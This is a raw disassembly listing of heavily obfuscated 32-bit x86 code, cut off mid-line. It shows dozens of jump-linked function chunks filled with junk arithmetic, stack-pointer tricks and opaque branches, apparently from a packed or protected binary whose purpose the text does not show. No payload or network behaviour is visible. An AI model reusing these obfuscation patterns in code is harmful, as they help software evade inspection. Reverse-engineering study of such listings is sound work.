jmp loc_5AFB85 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_59C70F: ; CODE XREF: sub_59FC02+3BE3j xor edx, edi mov edi, [esp+14h+var_14] add esp, 4 and ebp, edx pop edx xor ebp, 21F11912h jmp loc_5AB198 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_59C725: ; CODE XREF: sub_5A2E41+CDC4j add ebx, 251D5C84h add ebx, 32CA19AFh mov edx, [esp+4+var_4] add esp, 4 xor ebx, [esp+0] xor [esp+0], ebx jmp loc_5A5098 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_59C745: ; CODE XREF: sub_5A7BA0-3DD3j mov eax, 47DC68A6h or eax, 796F6A66h jmp loc_59C346 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C754: ; CODE XREF: sub_5AA2D1+15DAj pop di pop bx or di, 3975h sub di, 5F71h jmp loc_5AF620 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59C767: ; CODE XREF: sub_5A477C+9F5j xchg edx, [esp-4+arg_0] pop esp mov [esp-8+arg_4], esi jmp loc_59F16C ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_59C773: ; CODE XREF: sub_5AF2D9-158E1j mov [esp+8+var_8], ecx jmp sub_5A4CF3 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C77B: ; CODE XREF: sub_5AA2D1:loc_59EBF5j add edx, 0E76B7FD6h dec edx jo loc_5A6021 jmp loc_5A133D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_59C78D: ; CODE XREF: sub_5A72CB-65DFj pop ebp jmp sub_5A86D0 ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C95F loc_59C793: ; CODE XREF: sub_59C95F+CE5Dj mov [esp-4+arg_0], edi jmp loc_5A0A5F ; END OF FUNCTION CHUNK FOR sub_59C95F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C79B: ; CODE XREF: sub_5AA2D1+5C25j mov esi, 4ED65286h push eax jmp loc_5A75E0 ; --------------------------------------------------------------------------- loc_59C7A6: ; CODE XREF: sub_5AA2D1-4538j mov [esp+8+var_8], ebx jmp loc_5A2E1B ; --------------------------------------------------------------------------- loc_59C7AE: ; CODE XREF: sub_5AA2D1-2F48j add ebx, 4 sub esp, 4 mov [esp+0Ch+var_C], ebx jmp loc_599D8A ; --------------------------------------------------------------------------- loc_59C7C2: ; CODE XREF: sub_5AA2D1+5967j mov esp, [esp+0Ch+var_C] jmp loc_5998C6 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59C7CA: ; CODE XREF: sub_59C979+4ADEj pop ecx pop dword ptr [esp+2+var_2] mov esp, [esp+0] mov [esp+0], eax pop dword ptr [edi+40h] jmp loc_59E41D ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A96D8 loc_59C7DC: ; CODE XREF: sub_5A96D8+33D6j push dword ptr [edi+eax*4] push ebx jmp loc_5A14ED ; END OF FUNCTION CHUNK FOR sub_5A96D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC478 loc_59C7E5: ; CODE XREF: sub_5AC478-D9CCj push edi mov edi, 1CE35896h jmp loc_59E228 ; END OF FUNCTION CHUNK FOR sub_5AC478 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_59C7F0: ; CODE XREF: sub_5AD243:loc_59A63Fj ; sub_5A503A-6062j dec eax jno loc_5A0A5A jmp loc_5A176B ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- push esp pop edi jmp loc_59D04D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59C803: ; CODE XREF: sub_5A477C-3427j push edx jmp loc_5A2C97 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_59C809: ; CODE XREF: sub_5AF294-FBB1j ; sub_5A63DC+8E92j mov ecx, [esp+4+var_4] add esp, 4 sub esp, 4 mov [esp+4+var_4], esi mov esi, esp sub esp, 4 mov [esp+8+var_8], ebp mov ebp, 4 add esi, ebp jmp loc_59E65E ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C82C: ; CODE XREF: sub_5992DA:loc_59E2BEj not edi sub esp, 4 jmp loc_59B3A4 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599884 loc_59C836: ; CODE XREF: sub_599884+10EB4j pop ebx mov [edx], cl pop edx pop ecx jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_599884 ; --------------------------------------------------------------------------- loc_59C840: ; CODE XREF: sdfs____:005A068Cj add esp, 4 sub eax, 23833CE6h pop ecx jmp sub_5A3947 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_59C851: ; CODE XREF: sub_5A600D-CD08j mov bl, 57h mov dl, 0F8h sub dl, bl pop ebx and dl, 0EBh push ecx mov ch, 6 neg ch xor ch, 6Ch add ch, 0AAh add dl, ch pop ecx jmp loc_5A4775 ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BAD3 loc_59C86E: ; CODE XREF: sub_59BAD3+ADA3j pop eax sub esp, 4 mov [esp+8+var_8], edx mov edx, 7E5D1AF0h push esi mov esi, 479D1180h not esi inc esi shr esi, 2 push eax mov eax, 282149Fh xor eax, 163712DAh sub eax, 1A7455F8h xor eax, 0F8AC0440h xor esi, eax mov eax, [esp+10h+var_10] jmp loc_5A0F30 ; END OF FUNCTION CHUNK FOR sub_59BAD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_59C8A5: ; CODE XREF: sub_5A9EBF-2846j mov ebp, 51962AA5h jmp loc_5A901C ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_59C8AF: ; CODE XREF: sub_5ADD33-10F6Bj shr eax, 5 shr eax, 8 push esi jmp loc_5A1F7A ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599664 loc_59C8BB: ; CODE XREF: sub_599664+112A6j push esp pop edx add edx, 4 add edx, 2 xchg edx, [esp+0] pop esp push small 4862h mov [esp+0], dx jmp loc_5AB9E6 ; END OF FUNCTION CHUNK FOR sub_599664 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A26E8 loc_59C8D7: ; CODE XREF: sub_5A26E8+7j add ebp, 4 jmp loc_59B04F ; END OF FUNCTION CHUNK FOR sub_5A26E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C8E2: ; CODE XREF: sub_5992DA+EE22j add esp, 4 mov ecx, ebp mov ebp, [esp+30h+var_32+2] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5A3FA8 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C901: ; CODE XREF: sub_5AA2D1+53F3j pop ebp sub edi, 23CC01FCh add edx, edi mov edi, [esp+8+var_8] add esp, 4 xchg edx, [esp+4+var_4] jmp loc_59CFB8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59C918: ; CODE XREF: sub_5A477C+Ej add esi, 4 add esi, 4 jmp loc_5AD7AA ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F074 loc_59C929: ; CODE XREF: sub_59F074+AF82j shr edx, 4 dec edx jmp loc_59DBCC ; END OF FUNCTION CHUNK FOR sub_59F074 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59C932: ; CODE XREF: sub_59D6B8+D1ECj sub ebx, 45A25DB3h sub ebx, 79A97D1Ah add ebx, edx jmp loc_59E443 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59C945: ; CODE XREF: sub_59A9E9+EAA6j mov bl, ah mov cl, bl pop ebx pop eax pop edx pop ebx push edx push 0 pop edx add edx, 6BCE3BF8h jmp sub_599884 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; =============== S U B R O U T I N E ======================================= sub_59C95F proc near ; CODE XREF: sub_5998AD+6649j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059C224 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059C793 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A0A5F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A97A7 SIZE 0000001A BYTES push ebp jmp loc_59C224 sub_59C95F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C965: ; CODE XREF: sub_5AA2D1-FFE3j add esi, 19AB0059h add esi, 7278ECFFh sub edi, esi pop esi jmp loc_59CD1D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59C979 proc near ; CODE XREF: sub_5AA2D1-A064j var_14 = word ptr -14h var_10 = dword ptr -10h var_A = dword ptr -0Ah var_6 = dword ptr -6 var_2 = word ptr -2 arg_2 = dword ptr 6 arg_6 = dword ptr 0Ah arg_A = dword ptr 0Eh arg_E = dword ptr 12h ; FUNCTION CHUNK AT 00599582 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00599F29 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0059A2F3 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0059AA90 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059B0B8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059C202 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059C4C3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059C7CA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059CA17 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0059CA94 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059CD2C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059CD63 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059CDD3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059CFF4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059D2CC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059D376 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059D534 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059D6E7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059DB5A SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0059DC2D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059DC87 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059DFA6 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059E086 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E41D SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059E4D3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059E60F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059E789 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059E8D2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059E9C8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059EE82 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059EFAD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059F4A6 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059F634 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059F7E8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059FC80 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059FED3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A0980 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005A0DC5 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 005A0FAB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A1448 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A153F SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A1756 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A1E30 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A200F SIZE 0000003D BYTES ; FUNCTION CHUNK AT 005A210C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A21D1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A2324 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A25CE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A263D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2957 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A2DE3 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A303E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A31E6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A34BD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A374D SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005A3799 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005A3856 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A44A2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A45C5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A4BBF SIZE 0000003A BYTES ; FUNCTION CHUNK AT 005A4C63 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A4CA5 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A5176 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A51C4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A5393 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005A552B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A56C9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A59EF SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A5ACD SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A5F2B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A639F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A63BC SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A6750 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A67D9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A6823 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A6859 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A6C21 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A6F05 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A7013 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A712A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A731C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A7B0A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A7B85 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A7ED6 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005A7FBA SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A86ED SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A8973 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A8A19 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005A921D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A92B2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A960D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A96B0 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A9773 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A98BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A99EC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A9AC8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9BAA SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005A9E54 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 005AA1C0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AA392 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AA602 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AA7F6 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AA99F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AAA86 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AB079 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AB1D1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AB3F0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AB4A1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AB511 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005ABB77 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005ABEA4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005ABF8D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005AC006 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AC58A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ACAB3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AD069 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AD49F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AD52D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AD601 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AD888 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005ADA8B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ADF64 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AE0DD SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005AE24D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AE8EB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AEAD9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AF061 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005AF397 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AF466 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AF4BB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AF4EE SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005AF9BE SIZE 0000000B BYTES push bx jmp loc_5A6750 sub_59C979 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C980: ; CODE XREF: sub_5AA2D1-E3E7j pop ecx sub al, dh add al, 95h sub al, 85h sub al, 34h jmp loc_5ACE9E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C98E: ; CODE XREF: sub_5992DA+DDB3j add edx, 363B5893h add edi, edx jmp loc_5AD54F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABC2F loc_59C99B: ; CODE XREF: sub_5ABC2F-24F9j push 38Dh mov [esp+10h+var_10], esi mov esi, 6E83796h jmp loc_5AB4CC ; END OF FUNCTION CHUNK FOR sub_5ABC2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA52F loc_59C9AD: ; CODE XREF: sub_5AA52F-BA5j mov dx, word ptr [esp+4+var_4] add esp, 2 sub al, bl sub al, 0C5h sub esp, 2 jmp loc_5A6F60 ; END OF FUNCTION CHUNK FOR sub_5AA52F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F2D1 loc_59C9C6: ; CODE XREF: sub_59F2D1-5C47j sub edx, 351D25E0h pop edi add [esp+0Ch+var_8], 23173A99h add [esp+0Ch+var_8], 63E11F38h add [esp+0Ch+var_8], edx push edi mov edi, 63E11F38h jmp loc_5AD162 ; END OF FUNCTION CHUNK FOR sub_59F2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59C9EC: ; CODE XREF: sub_59EE3E-11DCj add esp, 4 sub ebx, edi sub ebx, 3F0F1B44h pop edi pop dword ptr [eax] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59CA02: ; CODE XREF: sub_59D6B8+BC2Aj neg edx jp loc_5A25AC sub edx, 0FF16A725h mov ecx, edx jmp loc_59EE07 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59CA17: ; CODE XREF: sub_59C979+126F2j js loc_59FED3 add edi, 0DDF70000h and eax, edi push dword ptr [esp] mov edi, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4+var_6+2] pop esp push ebp jmp loc_5AF070 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F566 loc_59CA41: ; CODE XREF: sub_59F566+9E42j shl esi, 4 and esi, 264018BAh add esi, 32D23CFCh push ecx push eax mov eax, 2ABB266Dh mov ecx, 261F79ACh jmp loc_59A888 ; END OF FUNCTION CHUNK FOR sub_59F566 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59CA61: ; CODE XREF: sub_59CBE1+66C6j add esi, 1BD054CCh add esi, ecx sub esi, 1BD054CCh pop ecx mov ebp, esi pop esi jmp sub_5AC803 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CA78: ; CODE XREF: sub_5AA2D1-DBE5j inc ebp shr ebp, 8 jmp loc_59F62F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_59CA81: ; CODE XREF: sub_5A63DC-7D64j pop edi add esi, 4FF45313h add esi, ebx jmp loc_5A40AC ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CA8F: ; CODE XREF: sub_5AA2D1-EEE8j jmp loc_5A5291 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59CA94: ; CODE XREF: sub_59C979+C006j pop ecx xor esi, edx jmp loc_5A7013 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59CA9C: ; CODE XREF: sub_5AD795-EA30j pop eax xor edx, [esp-4+arg_0] xor [esp-4+arg_0], edx xor edx, [esp-4+arg_0] mov esp, [esp-4+arg_0] push ebx push eax mov eax, 68585C8Ch jmp loc_59CBB2 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3261 loc_59CAB5: ; CODE XREF: sub_5A3261-92B2j add ebx, 36DF5CB8h sub ebx, 0DEDB5C69h add esi, ebx pop ebx jmp loc_59E2C3 ; END OF FUNCTION CHUNK FOR sub_5A3261 ; --------------------------------------------------------------------------- loc_59CAC9: ; CODE XREF: sdfs____:0059E111j add edx, eax pop eax pop ebp jmp loc_5AD8E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59CAD2: ; CODE XREF: sub_5A2E28+6B9Ej push ecx mov ecx, 63ED19DCh add dword ptr [esp+8], 3704DB1h add [esp+8], ecx jmp loc_5A72E5 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_59CAE9: ; CODE XREF: sub_5A81C4+486Cj pop ebp jmp loc_5A011D ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A765F loc_59CAEF: ; CODE XREF: sub_5A765F+77B7j pop dword ptr [esp-4+arg_0] jmp loc_5AC165 ; END OF FUNCTION CHUNK FOR sub_5A765F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CAF7: ; CODE XREF: sub_5AA2D1-980Ej mov [esp+0], eax mov eax, 4 push ebx push ebp mov ebp, 7A130708h xor ebp, 16E405D8h add ebp, 39569D3h push edi mov edi, ebp mov ebx, edi jmp loc_5ABF2F ; --------------------------------------------------------------------------- loc_59CB1C: ; CODE XREF: sub_5AA2D1-10001j mov eax, 6B667B96h inc eax jmp loc_5A6EC3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59CB27: ; CODE XREF: sub_59CBE1+FDC2j pop esp mov ecx, [esp-10h+arg_C] add esp, 4 jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59CB36: ; CODE XREF: sub_5A477C+B9D1j mov edi, 545D049Fh mov ebp, 545D04A3h jmp loc_5A4075 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CB45: ; CODE XREF: sub_5AA2D1+53B8j add ebp, 244608A1h jmp loc_5A5D9E ; --------------------------------------------------------------------------- loc_59CB50: ; CODE XREF: sub_5AA2D1-3D90j push esp pop [esp+4+var_4] jmp loc_5A7571 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59CB59: ; CODE XREF: sub_5992DA+A75Fj push eax mov eax, 4 sub edx, eax mov eax, [esp+38h+var_38] add esp, 4 xchg edx, [esp+0] pop esp mov [esp+30h+var_32+2], ebp mov ebp, esp jmp loc_5AE3E8 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_59CB78: ; CODE XREF: sdfs____:005AADE4j pop ecx jmp loc_59B8DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8C5C loc_59CB7E: ; CODE XREF: sub_5A8C5C+9j push [esp+arg_0] mov eax, [esp+4+var_4] add esp, 4 pop dword ptr [esp+0] pop esp jmp loc_5A7920 ; END OF FUNCTION CHUNK FOR sub_5A8C5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_59CB94: ; CODE XREF: sub_59F1F3+EFECj pop edi jmp loc_59AD89 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC2C0 loc_59CB9A: ; CODE XREF: sub_5AC2C0-3054j xor edi, esi jmp loc_5A156C ; END OF FUNCTION CHUNK FOR sub_5AC2C0 ; --------------------------------------------------------------------------- loc_59CBA1: ; CODE XREF: sdfs____:0059B78Fj mov eax, 6C490245h xor eax, 712D09D1h not eax jmp sub_59E333 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59CBB2: ; CODE XREF: sub_5AD795-10CE5j mov ebx, 0B5C27CAh xor ebx, eax pop eax push 7650h jmp loc_599535 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CBC4: ; CODE XREF: sub_5AA2D1-1BE9j add bl, 3Ch add bl, cl push edx mov dl, 0A9h add dl, 93h sub bl, dl pop edx pop ecx sub esp, 4 mov [esp+0], eax jmp loc_59D954 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59CBE1 proc near ; CODE XREF: sub_599B07+AF5Cj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = 